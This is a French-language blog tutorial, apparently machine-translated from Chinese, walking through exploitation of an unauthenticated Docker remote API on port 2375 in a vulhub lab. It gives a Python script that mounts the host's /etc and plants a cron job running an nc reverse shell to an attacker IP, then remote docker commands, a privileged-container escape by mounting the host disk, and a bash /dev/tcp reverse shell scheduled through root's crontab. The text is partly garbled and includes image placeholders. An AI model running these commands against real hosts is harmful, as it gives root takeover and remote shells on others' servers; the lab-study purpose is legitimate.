Vulnérabilité d'accès non autorisé à l'API Docker

Vulnérabilité d'accès non autorisé à l'API Docker

1. Introduction à la vulnérabilité
Dans le document de déploiement Docker, en raison de l'existence de certains exemples de configuration non sécurisés par défaut, le port de gestion 2375 est exposé au monde extérieur. Cette vulnérabilité d'accès non autorisé est due au fait que l'API Docker peut exécuter des commandes Docker. Cette interface est destiné à remplacer Docker.Interface de commande pour faire fonctionner Docker via une URL.
2. Principe de la vulnérabilité
: Utiliser le port TCP ouvert 2375 sur le nœud Docker pour exécuter à distance les commandes Docker, obtenant ainsi les autorisations Root du serveur.
3. Construction de l'environnement de vulnérabilité
Ici, nous utilisons directement l'environnement vluhub

git clone https://github.com/vulhub/vulhub.git
cd vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

4. Vérification de la vulnérabilité :
visitez http://votre-ip:2375/version ; si elle est accessible, cela prouve qu'il existe une vulnérabilité d'accès non autorisé.
Insérer la description de l'image ici
5. Méthode d'utilisation

5.1 Méthode du premier shell de rebond
(1) Installer l'environnement docker sur la machine d'attaque

apt-get install docker docker-compose
service docker start

(2) Utilisez ensuite le script d'attaque, les détails sont les suivants :

import docker

client = docker.DockerClient(base_url='http://192.168.0.115:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.161 6666 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={
    
    '/etc': {
    
    'bind': '/tmp/etc', 'mode': 'rw'}})

La signification du script ci-dessus est la suivante : utilisez Docker pour démarrer un conteneur à volonté et montez le répertoire /etc de l'hôte dans le conteneur, et vous pouvez lire et écrire des fichiers à volonté. Vous pouvez écrire des commandes dans le fichier de configuration crontab pour effectuer un shell de rebond

(3) Exécutez ensuite le script python sur Kali pour renvoyer le shell vers la machine attaquante. Après avoir exécuté le script, le shell de rebond est réussi !
Insérer la description de l'image ici

Ici, nous rebondissons sur le shell de la machine Docker.
Remarque : ce script python peut renvoyer le shell pour les systèmes centos, mais pas pour les systèmes Ubuntu !

5.2 Deuxième méthode getshell

(1) Étant donné que Docker dispose d'une commande de connexion à distance et que le port 2375 est exposé et accessible sans autorisation, vous pouvez désormais vous connecter à Docker à distance sur la machine.

docker -H tcp://192.168.0.115:2375 ps  #查看远程机器上的正在运行的docker镜像
docker -H tcp://192.168.0.115:2375 images

Insérer la description de l'image ici

Après m'être connecté, j'ai découvert qu'il n'y avait pas de fichier image, alors allez sur le site officiel pour télécharger un fichier image alpin.

docker -H tcp://192.168.0.115:2375 pull alpine

Insérer la description de l'image ici

Ensuite, démarrez le conteneur et entrez dans le conteneur alpin

docker -H tcp://192.168.0.115:2375 images
docker -H tcp://192.168.0.115:2375 run -it --privileged alpine  bin/sh

Insérer la description de l'image ici

Démarrez un shell interactif dans Kali et c'est une image privilégiée. Lorsque l'opérateur exécute docker run --privileged, Docker permettra au conteneur d'accéder à tous les appareils sur l'hôte et modifiera la configuration d'AppArmor ou SELinux afin que le conteneur ait le même Les processus exécutés directement sur l'hôte ont presque les mêmes droits d'accès

Après être entré dans le conteneur, utilisez la commande fdisk -l pour afficher les fichiers disque

Remarque : En mode privilégié, il existe de nombreuses façons d'échapper, par exemple en montant directement le disque hôte à l'intérieur du conteneur, puis en changeant de répertoire racine.

Il peut être jugé à partir des informations de type renvoyées que /dev/sda1 est la partition principale, puis le disque hôte est directement monté à l'intérieur du conteneur.

新建一个目录:mkdir test
挂在磁盘到新建目录:mount dev/sda1 test
进入目录:cd test/
新建文件:touch test.txt   写入123测试:

Insérer la description de l'image ici

Voyons ensuite que le fichier test.txt est bien créé sur la machine cible et que l'échappement du docker est réussi.
Insérer la description de l'image ici
Ensuite, vous pouvez rebondir le shell hôte
pour créer le fichier test.sh et l'écrire dans le shell de rebond.

#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i  >&/dev/tcp/192.168.0.161/6666 0>&1"

Ajoutez ensuite des autorisations d'exécution à test.sh et écrivez-les dans la tâche planifiée.

chmod +x test.sh 

echo '*/1 * * * *  /test.sh' >> /test/var/spool/cron/crontabs/root #每分钟执行一次test.sh文件

La machine attaquante ouvre le port d'écoute et revient avec succès au shell après un certain temps d'attente (remarque : la version du docker hôte est 18.09.9, sinon l'échappement ci-dessus ne sera pas valide)

Je suppose que tu aimes

Origine blog.csdn.net/qq_42383069/article/details/124634135
conseillé
Classement